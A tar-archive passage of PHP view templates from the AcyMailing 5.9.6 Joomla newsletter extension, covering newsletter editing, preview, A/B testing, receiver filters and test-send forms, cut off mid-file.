com_acymailing/views/newsletter/tmpl/form.php000060400000006061152455305300015501 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'newsletter'); ?>" method="post" name="adminForm" id="adminForm" enctype="multipart/form-data">
		<input type="hidden" name="cid[]" value="<?php echo @$this->mail->mailid; ?>"/>
		<input type="hidden" id="tempid" name="data[mail][tempid]" value="<?php echo @$this->mail->tempid; ?>"/>
		<?php $type = empty($this->mail->type) ? 'news' : $this->mail->type; ?>
		<input type="hidden" name="data[mail][type]" value="<?php echo $type; ?>"/>
		<?php acymailing_formOptions(); ?>
		<div style="clear: both;">
			<div class="confirmBoxMM" id="confirmBoxMM" style="display: none;">
				<div id="acy_popup_content">
					<span class="confirmTxtMM" id="confirmTxtMM"></span><br/>
					<button class="acymailing_button" id="confirmCancelMM" onclick="document.getElementById('confirmBoxMM').style.display='none';document.getElementById('modal-background').style.display='none';return false;" style="padding: 6px 15px 6px 10px;">
						<i class="acyicon-cancel" id="cancelSave" style="margin-right: 5px; font-size: 16px;top: 2px; position: relative;"></i><?php echo acymailing_translation('ACY_CANCEL'); ?>
					</button>
					<button class="acymailing_button acymailing_button_delete" id="confirmOkMM" style="padding: 8px 15px 6px 10px;" onclick="acymailing.submitform(pressbutton,document.adminForm)">
						<i class="acyicon-save" id="iconAction" style="margin-right: 5px; font-size: 12px;"></i><span id="textBtnAction"><?php echo acymailing_translation('ACY_SAVE'); ?></span>
					</button>
				</div>
			</div>
			<div id="modal-background" style="display: none;"></div>
			<div id="newsletterLeftColumn">
				<div class="acyblockoptions acyblock_newsletter">
					<span class="acyblocktitle"><?php echo acymailing_translation('ACY_NEWSLETTER_INFORMATION'); ?></span>
					<?php include(dirname(__FILE__).DS.'info.'.basename(__FILE__)); ?>
				</div>
				<div class="acyblockoptions acyblock_newsletter" id="htmlfieldset">
					<span class="acyblocktitle"> <?php echo acymailing_translation('HTML_VERSION'); ?></span>
					<?php echo $this->editor->display(); ?>
				</div>
				<div class="acyblockoptions acyblock_newsletter" id="textfieldset">
					<span class="acyblocktitle"> <?php echo acymailing_translation('TEXT_VERSION'); ?></span>
					<textarea style="width:98%;min-height:250px;" rows="20" name="data[mail][altbody]" id="altbody" placeholder="<?php echo acymailing_translation('AUTO_GENERATED_HTML'); ?>" onClick="zoneToTag='altbody';"><?php echo $this->escape(@$this->mail->altbody); ?></textarea>
				</div>
			</div>
			<div id="newsletterRightColumn" class="acyblockoptions">
				<?php include(dirname(__FILE__).DS.'param.'.basename(__FILE__)); ?>
			</div>
		</div>
		<div class="clr"></div>
	</form>
</div>
com_acymailing/views/newsletter/tmpl/inboxactions.php000060400000006402152455305300017235 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
echo $this->tabs->startPanel(acymailing_translation('ACY_INBOX_ACTIONS'), 'mail_inboxactions'); ?>
<?php
if($this->config->get('inboxactionswhitelist', 1)){
	$toggleClass = acymailing_get('helper.toggle');
	$notremind = '<small style="float:right;margin-right:30px;position:relative;">'.$toggleClass->delete('acymailing_messages_warning', 'inboxactionswhitelist_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
	acymailing_display(acymailing_translation('ACY_INBOX_ACTIONS_WHITELIST').' <a target="_blank" href="'.ACYMAILING_REDIRECT.'inboxactions">'.acymailing_translation('TELL_ME_MORE').'</a>'.$notremind, 'warning');
}
?>
	<table width="100%" class="acymailing_smalltable" id="metadatatable">
		<tr>
			<td class="paramlist_key">
				<label for="datamailparamsaction">
					<?php echo acymailing_translation('ACY_ACTION'); ?>
				</label>
			</td>
			<td class="paramlist_value">
				<?php $ordering = array();
				$ordering[] = acymailing_selectOption("none", acymailing_translation('ACY_NONE'));
				$ordering[] = acymailing_selectOption("confirm", acymailing_translation('ACY_BUTTON_CONFIRM'));
				$ordering[] = acymailing_selectOption("save", acymailing_translation('ACY_BUTTON_SAVE'));
				$ordering[] = acymailing_selectOption("goto", acymailing_translation('ACY_GOTO'));
				echo acymailing_select($ordering, 'data[mail][params][action]', 'size="1" onchange="displayActionOptions(this.value);" style="width:150px;"', 'value', 'text', @$this->mail->params['action']); ?>
			</td>
		</tr>
		<tr class="action_option action_goto action_confirm action_save">
			<td class="paramlist_key">
				<label for="iba_actionbtntext">
					<?php echo acymailing_translation('ACY_BUTTON_TEXT'); ?>
				</label>
			</td>
			<td class="paramlist_value">
				<input id="iba_actionbtntext" type="text" name="data[mail][params][actionbtntext]" rows="5" cols="30" value="<?php echo @$this->mail->params['actionbtntext']; ?>"/>
			</td>
		</tr>
		<tr class="action_option action_goto action_confirm action_save">
			<td class="paramlist_key">
				<label for="iba_actionurl">
					<?php echo acymailing_translation('URL'); ?>
				</label>
			</td>
			<td class="paramlist_value">
				<input id="iba_actionurl" type="text" name="data[mail][params][actionurl]" placeholder="http://..." rows="5" cols="30" value="<?php echo @$this->mail->params['actionurl']; ?>"/>
			</td>
		</tr>
	</table>
	<script type="text/javascript">
		<!--
		function displayActionOptions(selected){
			var options = document.querySelectorAll(".action_option");
			for(var c = 0; c < options.length; c++){
				if(options[c].style){
					options[c].style.display = 'none';
				}
			}
			if(selected == "none") return;

			options = document.querySelectorAll(".action_" + selected);
			for(var c = 0; c < options.length; c++){
				if(options[c].style){
					options[c].style.display = '';
				}
			}
		}
		displayActionOptions('<?php echo empty($this->mail->params['action']) ? 'none' : $this->mail->params['action']; ?>');
		-->
	</script>
<?php echo $this->tabs->endPanel();
com_acymailing/views/newsletter/tmpl/preview.php000060400000005235152455305300016221 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<?php include(dirname(__FILE__).DS.'test.php');
	if($this->type != 'joomlanotification'){ ?>
		<div <?php echo (acymailing_isAdmin()) ? 'class="acyblockoptions" style="width:42%;min-width:480px;"' : 'class="onelineblockoptions"'; ?> id="receiversinfo">
			<span class="acyblocktitle"><?php echo acymailing_translation('NEWSLETTER_SENT_TO'); ?></span>

			<table class="<?php echo (acymailing_isAdmin()) ? 'acymailing_table' : 'adminlist table table-striped'; ?>" cellspacing="1" align="center">
				<tbody>
				<?php if(!empty($this->lists)){
					$k = 0;
					$listids = array();
					foreach($this->lists as $row){
						$listids[] = $row->listid;
						?>
						<tr class="<?php echo "row$k"; ?>">
							<td>
								<?php
								if(!$row->published) echo '<a href="'.acymailing_completeLink('list&task=edit&listid='.$row->listid).'" title="'.acymailing_translation('LIST_PUBLISH', true).'"><img style="margin:0px;" src="'.ACYMAILING_IMAGES.'warning.png" alt="Warning" /></a> ';
								echo acymailing_tooltip($row->description, $row->name, '', $row->name);
								echo ' ( '.acymailing_translation_sprintf('ACY_SELECTED_USERS', $row->nbsub).' )';
								echo '<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>';
								?>
							</td>
						</tr>
						<?php $k = 1 - $k;
					}
				}else{ ?>
					<tr>
						<td>
							<?php echo acymailing_translation('EMAIL_AFFECT'); ?>
						</td>
					</tr>
				<?php } ?>
				</tbody>
			</table>
			<?php
			$filterClass = acymailing_get('class.filter');
			if(!empty($this->mail->filter)){
				$resultFilters = $filterClass->displayFilters($this->mail->filter);
				if(!empty($resultFilters)){
					echo '<br />'.acymailing_translation('RECEIVER_LISTS').'<br />'.acymailing_translation('FILTER_ONLY_IF');
					echo '<ul><li>'.implode('</li><li>', $resultFilters).'</li></ul>';
				}
			}

			if(!empty($this->lists)){
				?>
				<div style="text-align:center;font-size:14px;padding-top:10px;margin:10px 30px;border-top: 1px solid #ccc;">
					<?php
					$nbTotalReceivers = $filterClass->countReceivers($listids, $this->mail->filter, $this->mail->mailid);
					echo acymailing_translation_sprintf('SENT_TO_NUMBER', '<span style="font-weight:bold;" id="nbreceivers" >'.$nbTotalReceivers.'</span>');
					?>
				</div>
			<?php } ?>
		</div>
	<?php }
	include(dirname(__FILE__).DS.'previewcontent.php'); ?>
</div>
com_acymailing/views/newsletter/tmpl/index.html000060400000000054152455305300016016 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/newsletter/tmpl/info.form.php000060400000011156152455305300016434 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><table<?php if(!acymailing_isAdmin()){
	echo ' class="acymailing_table" style="margin: 10px 0px;"';
} ?> width="100%">
	<tr>
		<td class="acykey" id="subjectkey" valign="top">
			<label for="subject">
				<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
			</label>
		</td>
		<td id="subjectinput">
			<div>
				<input type="text" name="data[mail][subject]" id="subject" style="width:80%;" class="inputbox" value="<?php echo $this->escape(@$this->mail->subject); ?>" onClick="zoneToTag='subject';"/>
			</div>
		</td>
		<td class="acykey" id="publishedkey" valign="top">
			<label for="published">
				<?php echo acymailing_translation('ACY_PUBLISHED'); ?>
			</label>
		</td>
		<td id="publishedinput" valign="top">
			<?php echo ($this->mail->published == 2) ? acymailing_translation('SCHED_NEWS') : acymailing_boolean("data[mail][published]", '', $this->mail->published, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
		</td>
	</tr>
	<tr>
		<td class="acykey" id="aliaskey">
			<label for="alias">
				<?php echo acymailing_translation('JOOMEXT_ALIAS'); ?>
			</label>
		</td>
		<td id="aliasinput">
			<input class="inputbox" type="text" name="data[mail][alias]" id="alias" style="width:80%;" value="<?php echo @$this->mail->alias; ?>" <?php echo($this->type == 'joomlanotification' ? 'readonly' : ''); ?>/>
		</td>
		<?php if ($this->type != 'joomlanotification'){ ?>
		<td class="acykey" id="visiblekey">
			<label for="visible">
				<?php echo acymailing_translation('JOOMEXT_VISIBLE'); ?>
			</label>
		</td>
		<td id="visibleinput">
			<?php echo acymailing_boolean("data[mail][visible]", '', $this->mail->visible, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
		</td>
	</tr>
	<tr>
		<td class="acykey" id="createdkey" valign="top">
			<label for="createdinput">
				<?php echo acymailing_translation('CREATED_DATE'); ?>
			</label>
		</td>
		<td id="createdinput" valign="top">
			<?php echo acymailing_getDate(@$this->mail->created); ?>
		</td>
		<?php } ?>
		<td class="acykey" id="sendhtmlkey">
			<label for="data_mail_htmlfieldset">
				<?php echo acymailing_translation('SEND_HTML'); ?>
			</label>
		</td>
		<td id="sendhtmlinput">
			<?php echo acymailing_boolean("data[mail][html]", 'onclick="updateAcyEditor(this.value); initTagZone(this.value);"', $this->mail->html, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
		</td>
	</tr>
	<?php if($this->type != 'joomlanotification'){ ?>
		<tr class="hidewp">
			<td class="acykey" id="picturekey" valign="top">
				<label for="pictureinput">
					<?php echo acymailing_translation('ACY_THUMBNAIL'); ?>
				</label>
			</td>
			<td id="pictureinput" valign="top">
				<?php
				$uploadfileType = acymailing_get('type.uploadfile');
				echo $uploadfileType->display(true, 'thumb', $this->mail->thumb, 'data[mail][thumb]');
				?>
			</td>
			<td class="acykey" id="summarykey" valign="top">
				<label for="summaryfield">
					<?php echo acymailing_translation('ACY_SUMMARY'); ?>
				</label>
			</td>
			<td id="summaryinput" valign="top">
				<textarea placeholder="<?php echo acymailing_translation('ACY_SUMMARY_PLACEHOLDER') ?>" style="width:80%;height:60px;" id="summaryfield" name="data[mail][summary]"><?php echo $this->escape(@$this->mail->summary); ?></textarea>
			</td>
		</tr>
		<?php
		?>
		<?php if(!empty($this->mail->senddate)){ ?>
			<tr>
				<td class="acykey" id="senddatekey">
					<label for="senddateinput">
						<?php echo acymailing_translation('SEND_DATE'); ?>
					</label>
				</td>
				<td id="senddateinput">
					<?php echo acymailing_getDate(@$this->mail->senddate); ?>
				</td>
				<td class="acykey" id="sentbykey">
					<label for="sentbyinput">
						<?php if(!empty($this->mail->sentby)) echo acymailing_translation('SENT_BY'); ?>
					</label>
				</td>
				<td id="sentbyinput">
					<?php echo @$this->sentbyname; ?>
				</td>
			</tr>
		<?php }
	}
	$jflanguages = acymailing_get('type.jflanguages');
	if($jflanguages->multilingue){
		?>
		<tr>
			<td class="acykey" id="languagekey">
				<label for="jlang">
					<?php echo acymailing_translation('ACY_LANGUAGE'); ?>
				</label>
			</td>
			<td id="languageinput" colspan="3">
				<?php
				$jflanguages->sef = true;
				echo $jflanguages->displayJLanguages('data[mail][language]', empty($this->mail->language) ? '' : $this->mail->language);
				?>
			</td>
		</tr>
	<?php } ?>
</table>
com_acymailing/views/newsletter/tmpl/abtesting.php000060400000020262152455305300016515 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content" class="abTestingPage">
	<div id="iframedoc"></div>
	<?php
	if(empty($this->mailid) && empty($this->validationStatus)){
		acymailing_display(acymailing_translation('PLEASE_SELECT_NEWSLETTERS'), 'warning');
		return;
	}
	if(!empty($this->missingMail)) return;
	if($this->validationStatus == 'abTestFinalSend') return; ?>

	<script type="text/javascript">
		function updateReceivers(prct){
			newVal = Math.floor(prct.value *<?php echo $this->nbTotalReceivers; ?> / 100);
			document.getElementById('nbtestreceivers').innerHTML = newVal;
		}
	</script>
	<form action="<?php echo acymailing_completeLink('newsletter', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<input type="hidden" name="mailid" value="<?php echo $this->mailid; ?>"/>

		<div class="onelineblockoptions">
			<?php echo acymailing_translation_sprintf('ABTESTING_PART_RECEIVER', '<input type="text" id="abTesting_prct" name="abTesting_prct" style="width:30px;" value="'.$this->abTestDetail['prct'].'" oninput="updateReceivers(this)">%'); ?>
			<div class="abtesting_mails">
				<table class="acymailing_smalltable">
					<?php
					echo '<thead><tr><th width="45%">'.acymailing_translation('NEWSLETTER').'</th>';
					if(!empty($this->savedValues)){
						echo '<th>'.acymailing_translation('OPEN').'</th><th>'.acymailing_translation('CLICKED_LINK').'</th><th>'.acymailing_translation('ACY_CLICK_EFFICIENCY').'</th><th>'.acymailing_translation('ACY_SENT_EMAILS').'</th>';
						if(!empty($this->abTestDetail['status']) && $this->abTestDetail['status'] == 'testSendOver' && $this->validationStatus != 'abTestAdd' && $this->abTestDetail['action'] == 'manual') echo '<th>'.acymailing_translation('SEND').'</th>';
					}
					echo '</tr></thead>';
					foreach($this->mailsdetails as $oneMail){
						echo '<tr><td>'.$oneMail->subject.'</td>';
						if(!empty($this->savedValues)){
							$open = (!empty($this->statMail[$oneMail->mailid]) ? $this->statMail[$oneMail->mailid]->openunique : '0');
							$click = (!empty($this->statMail[$oneMail->mailid]) ? $this->statMail[$oneMail->mailid]->clickunique : '0');
							$sent = (!empty($this->statMail[$oneMail->mailid]) ? $this->statMail[$oneMail->mailid]->senthtml + $this->statMail[$oneMail->mailid]->senttext : '0');
							if(acymailing_level(3)) $bounceunique = (!empty($this->statMail[$oneMail->mailid]) ? $this->statMail[$oneMail->mailid]->bounceunique : '0');
							if($sent != 0){
								if(acymailing_level(3)){
									$cleanSent = $sent - $bounceunique;
								}else $cleanSent = $sent;
								$openPrct = (!empty($this->statMail[$oneMail->mailid]) && !empty($cleanSent) ? round($this->statMail[$oneMail->mailid]->openunique / $cleanSent * 100) : '0');
								$clickPrct = (!empty($this->statMail[$oneMail->mailid]) && !empty($cleanSent) ? round($this->statMail[$oneMail->mailid]->clickunique / $cleanSent * 100) : '0');
								$efficiencyPrct = (!empty($this->statMail[$oneMail->mailid]) && !empty($open) ? round($click / $open * 100) : '0');
							}else{
								$openPrct = 0;
								$clickPrct = 0;
								$efficiencyPrct = 0;
							}
							$openTxt = (!empty($cleanSent) ? $open.' / '.$cleanSent.' ('.$openPrct.'%)' : $open);
							$clickTxt = (!empty($cleanSent) ? $click.' / '.$cleanSent.' ('.$clickPrct.'%)' : $click);
							echo '<td style="text-align:center">'.$openTxt.'</td>';
							echo '<td style="text-align:center">'.$clickTxt.'</td>';
							echo '<td style="text-align:center">'.$click.' / '.$open.' ('.$efficiencyPrct.'%)</td>';
							echo '<td style="text-align:center">'.$sent.'</td>';
						}
						if(!empty($this->abTestDetail['status']) && $this->abTestDetail['status'] == 'testSendOver' && $this->validationStatus != 'abTestAdd' && $this->abTestDetail['action'] == 'manual'){
							echo '<td><a class="acymailing_button" href="'.acymailing_completeLink('newsletter&task=complete_abtest&mailToSend='.$oneMail->mailid, true).'">'.acymailing_translation('SEND').'</a></td>';
						}
						echo '</tr>';
					} ?>
				</table>
			</div>
			<div>
				<div class="acyblocktitle"><?php echo acymailing_translation('NEWSLETTER_SENT_TO'); ?></div>
				<table class="acymailing_smalltable">
					<tbody>
					<?php if(!empty($this->lists)){
						$k = 0;
						$listids = array();
						foreach($this->lists as $row){
							?>
							<tr class="<?php echo "row$k"; ?>">
								<td>
									<?php
									if(!$row->published) echo '<a href="'.acymailing_completeLink('list&task=edit&listid='.$row->listid).'" title="'.acymailing_translation('LIST_PUBLISH', true).'"><img style="margin:0px;" src="'.ACYMAILING_IMAGES.'warning.png" alt="Warning" /></a> ';
									echo acymailing_tooltip($row->description, $row->name, '', $row->name);
									echo ' ( '.acymailing_translation_sprintf('ACY_SELECTED_USERS', $row->nbsub).' )';
									echo '<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>';
									?>
								</td>
							</tr>
							<?php $k = 1 - $k;
						}
					}else{ ?>
						<tr>
							<td>
								<?php echo acymailing_translation('EMAIL_AFFECT'); ?>
							</td>
						</tr>
					<?php } ?>
					</tbody>
				</table>
				<?php
				if(!empty($this->mailReceiver->filter)){
					$resultFilters = $this->filterClass->displayFilters($this->mailReceiver->filter);
					if(!empty($resultFilters)){
						echo '<br />'.acymailing_translation('RECEIVER_LISTS').'<br />'.acymailing_translation('FILTER_ONLY_IF');
						echo '<ul><li>'.implode('</li><li>', $resultFilters).'</li></ul>';
					}
				}

				if(!empty($this->lists)){
					?>
					<div style="text-align:center;font-size:14px;padding-top:10px;margin:10px 30px;border-top: 1px solid #ccc;">
						<?php

						echo acymailing_translation_sprintf('ABTESTING_SENTTO_NUMBER', '<span style="font-weight:bold;" id="nbtestreceivers" >'.$this->nbTestReceivers.'</span>', '<span style="font-weight:bold;" id="nbreceivers" >'.$this->nbTotalReceivers.'</span>');
						?>
					</div>
				<?php } ?>
			</div>
			<?php echo acymailing_translation_sprintf('ABTESTING_MODIFY_RECEIVERS', '<a target="_blank" href="'.acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'newsletter&task=edit&mailid='.$this->mailsdetails[0]->mailid).'">'.$this->mailsdetails[0]->subject.'</a>'); ?>
		</div>
		<div class="onelineblockoptions">
			<?php echo acymailing_translation_sprintf('ABTESTING_DELAY_ACTION', '<input type="text" id="abTesting_delay" name="abTesting_delay" style="width:30px;" value="'.$this->abTestDetail['delay'].'">'); ?>
			<div class="abtesting_actions">
				<div style="margin-bottom: 5px;"><input type="radio" name="abTesting_action" id="abTesting_action_manual" value="manual" <?php echo ($this->abTestDetail['action'] == 'manual') ? 'checked="checked"' : ''; ?>><label for="abTesting_action_manual" class="radiobtn"><?php echo acymailing_translation('DO_NOTHING'); ?></label></div>
				<div style="margin-bottom: 5px;"><input type="radio" name="abTesting_action" id="abTesting_action_open" value="open" <?php echo ($this->abTestDetail['action'] == 'open') ? 'checked="checked"' : ''; ?>><label for="abTesting_action_open" class="radiobtn"><?php echo acymailing_translation('ABTESTING_ACTION_GENERATE_OPEN'); ?></label></div>
				<div style="margin-bottom: 5px;"><input type="radio" name="abTesting_action" id="abTesting_action_click" value="click" <?php echo ($this->abTestDetail['action'] == 'click') ? 'checked="checked"' : ''; ?>><label for="abTesting_action_click" class="radiobtn"><?php echo acymailing_translation('ABTESTING_ACTION_GENERATE_CLICK'); ?></label></div>
				<div style="margin-bottom: 5px;"><input type="radio" name="abTesting_action" id="abTesting_action_mix" value="mix" <?php echo ($this->abTestDetail['action'] == 'mix') ? 'checked="checked"' : ''; ?>><label for="abTesting_action_mix" class="radiobtn"><?php echo acymailing_translation('ABTESTING_ACTION_GENERATE_MIX'); ?></label></div>
			</div>
		</div>
		<input type="hidden" name="nbTotalReceivers" value="<?php echo $this->nbTotalReceivers; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/newsletter/tmpl/filters.php000060400000006120152455305300016202 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

acymailing_importPlugin('acymailing');
$typesFilters = array();
$outputFilters = implode('', acymailing_trigger('onAcyDisplayFilters', array(&$typesFilters, 'mail')));

if(empty($typesFilters)) return;

$filterClass = acymailing_get('class.filter');
$filterClass->addJSFilterFunctions();

$js = '';
$datatype = "filter";
if(!empty($this->mail->$datatype)){
	foreach($this->mail->{$datatype}['type'] as $block => $oneFilter){
		$jsFunction = "if(!document.getElementById('addButton_$block')) addOrBlock();
					document.getElementById('addButton_$block').click();";

		foreach($oneFilter as $num => $oneType) {
			if (empty($oneType)) continue;
			$js .= "
				if(!document.getElementById('" . $datatype . "type$num')){
					" . $jsFunction . "
				}
				
				document.getElementById('" . $datatype . "type$num').value= '$oneType';
				update" . ucfirst($datatype) . "($num);";
			if (empty($this->mail->{$datatype}[$num][$oneType])) continue;

			foreach ($this->mail->{$datatype}[$num][$oneType] as $key => $value) {
				$js .= "
				try{
					document.adminForm.elements['" . $datatype . "[$num][$oneType][$key]'].value = '" . addslashes(str_replace(array("\n", "\r"), ' ', $value)) . "';
					if(document.adminForm.elements['" . $datatype . "[$num][$oneType][$key]'].type && document.adminForm.elements['" . $datatype . "[$num][$oneType][$key]'].type == 'checkbox'){
						document.adminForm.elements['" . $datatype . "[$num][$oneType][$key]'].checked = 'checked';
					}
				}catch(e){}";
			}

			if ($datatype == 'filter') $js .= " countresults($num);";
		}
	}
}

acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ $js });");

$typevaluesFilters = array();
$typevaluesFilters[] = acymailing_selectOption('', acymailing_translation('FILTER_SELECT'));
foreach($typesFilters as $oneType => $oneName){
	$typevaluesFilters[] = acymailing_selectOption($oneType, $oneName);
}

?>
<br/>
<div class="acy_filter_mail">
	<input type="hidden" name="data[mail][filter]" value=""/>

	<div id="acybase_filters" style="display:none">
		<div id="filters_original">
			<?php echo acymailing_select($typevaluesFilters, "filter[type][__block__][__num__]", 'class="inputbox" size="1" onchange="updateFilter(__num__);countresults(__num__);"', 'value', 'text', '', 'filtertype__num__'); ?>
			<span id="countresult___num__"></span>

			<div class="acyfilterarea" id="filterarea___num__"></div>
		</div>
		<?php echo $outputFilters; ?>
	</div>
	<?php echo acymailing_translation('RECEIVER_LISTS').' '.acymailing_translation('RECEIVER_FILTER'); ?>
	<div class="onelineblockoptions" id="filtersblock">
		<span class="acyblocktitle"><?php echo acymailing_translation('ACY_FILTERS'); ?></span>
		<button id="acyorbutton" class="acymailing_button" onclick="addOrBlock();return false;"><?php echo ucfirst(acymailing_translation('ACY_OR')); ?></button>
	</div>
</div>
com_acymailing/views/newsletter/tmpl/test.php000060400000005167152455305300015523 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><form action="<?php echo acymailing_completeLink($this->ctrl); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" <?php if(in_array($this->type, array('news', 'autonews'))){
	if(acymailing_isAdmin()) echo 'style="width:42%;min-width:480px;float:left;margin-right:15px;"';
} ?>>
	<div class="<?php if(acymailing_isAdmin()){
		echo 'acyblockoptions';
	}else{
		echo 'onelineblockoptions';
	} ?> acyblock_newsletter" id="sendatest">
		<span class="acyblocktitle"><?php echo acymailing_translation('SEND_TEST'); ?></span>

		<table width="100%">
			<tr>
				<td valign="top" width="100px;" nowrap="nowrap">
					<?php echo acymailing_translation('SEND_TEST_TO'); ?>
				</td>
				<td>
					<?php echo $this->testreceiverType->display($this->infos->test_selection, $this->infos->test_group, $this->infos->test_emails); ?>
				</td>
			</tr>
			<tr>
				<td nowrap="nowrap">
					<?php echo acymailing_translation('SEND_VERSION'); ?>
				</td>
				<td>
					<?php if($this->mail->html){
						echo acymailing_boolean('test_html', '', $this->infos->test_html, acymailing_translation('HTML'), acymailing_translation('JOOMEXT_TEXT'));
					}else{
						echo acymailing_translation('JOOMEXT_TEXT');
						echo '<input type="hidden" name="test_html" value="0" />';
					} ?>
				</td>
			</tr>
			<tr>
				<td valign="top"><?php echo acymailing_translation('SEND_COMMENT'); ?></td>
				<td>
					<div><textarea placeholder="<?php echo acymailing_translation('SEND_COMMENT_DESC'); ?>" name="commentTest" id="commentTest" style="width:90%;height:80px;"><?php echo acymailing_getVar('string', 'commentTest', ''); ?></textarea></div>
				</td>
			</tr>
			<tr>
				<td>

				</td>
				<td style="padding-top:10px;">
					<button type="submit" class="acymailing_button" onclick="document.adminForm.task.value='sendtest';var val = document.getElementById('message_receivers').value; if(val != ''){ setUser(val); }"><?php echo acymailing_translation('SEND_TEST') ?></button>
				</td>
			</tr>
		</table>
	</div>
	<input type="hidden" name="cid[]" value="<?php echo $this->mail->mailid; ?>"/>
	<?php if(!empty($this->lists)){
		$firstList = reset($this->lists);
		$myListId = $firstList->listid;
	}else{
		$myListId = acymailing_getVar('int', 'listid', 0);
	}
	if(!empty($myListId)){
		?> <input type="hidden" name="listid" value="<?php echo $myListId; ?>"/> <?php } ?>
	<?php acymailing_formOptions(); ?>
</form>
com_acymailing/views/newsletter/tmpl/filter.lists.php000060400000015753152455305300017170 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(empty($currentPage)) $currentPage = 'mail';

foreach($this->lists as $oneList){
	$listids[] = $oneList->listid;
}
if(count($this->lists) > 10){
	?>
	<script language="javascript" type="text/javascript">
		<!--
		var listids = new Array(<?php echo implode(',', $listids); ?>);
		function acymailing_searchAList(){
			var filter = document.getElementById("acymailing_searchList").value.toLowerCase();
			for(var i = 0; i < listids.length; i++){
				var itemName = document.getElementById("listName_" + listids[i]).innerHTML.toLowerCase();
				if(itemName.indexOf(filter) > -1){
					document.getElementById("acylistrow_" + listids[i]).style.display = "table-row";
				}else{
					document.getElementById("acylistrow_" + listids[i]).style.display = "none";
				}
			}
		}
		//-->
	</script>
	<div style="margin-bottom:10px;"><input onkeyup="acymailing_searchAList();" type="text" style="width: 200px;max-width:100%;margin-bottom:5px;" placeholder="<?php echo acymailing_translation('ACY_SEARCH'); ?>" id="acymailing_searchList"></div>
<?php }

$k = 0;
$i = 0;

$orderedList = array();
$listsPerCategory = array();
$languages = array();
foreach($this->lists as $row){
	$orderedList[$row->category][$row->listid] = $row;
	$listsPerCategory[$row->category][$row->listid] = $row->listid;
	if(count($this->lists) < 4) continue;

	$languages['all'][$row->listid] = $row->listid;
	if($row->languages == 'all') continue;
	$lang = explode(',', trim($row->languages, ','));
	foreach($lang as $oneLang){
		$languages[strtolower($oneLang)][$row->listid] = $row->listid;
	}
}
ksort($orderedList);
$allCats = array_keys($orderedList);
$categorizedLists = array();
foreach($orderedList as $oneCategory){
	$categorizedLists = array_merge($categorizedLists, $oneCategory);
}

echo '<table class="acymailing_table" id="lists_choice"><tbody>';

$filter_list = acymailing_getVar('int', 'filter_list');
if(empty($filter_list)) $filter_list = acymailing_getVar('int', 'listid');
$selectedLists = explode(',', acymailing_getVar('string', 'listids'));

foreach($categorizedLists as $row){
	if(empty($row->category)) $row->category = acymailing_translation('ACY_NO_CATEGORY');
	if(count($allCats) > 1 && (empty($currentCatgeory) || $row->category != $currentCatgeory)){
		$currentCatgeory = $row->category;
		?>
		<tr class="<?php echo "row$k"; ?>">
			<td colspan="2">
				<a href="#" onclick="checkCats('<?php echo htmlspecialchars(str_replace("'", "\'", $row->category == acymailing_translation('ACY_NO_CATEGORY') ? -1 : $row->category), ENT_QUOTES, "UTF-8"); ?>'); return false;"><strong><?php echo htmlspecialchars($row->category, ENT_QUOTES, "UTF-8"); ?></strong></a>
			</td>
		</tr>
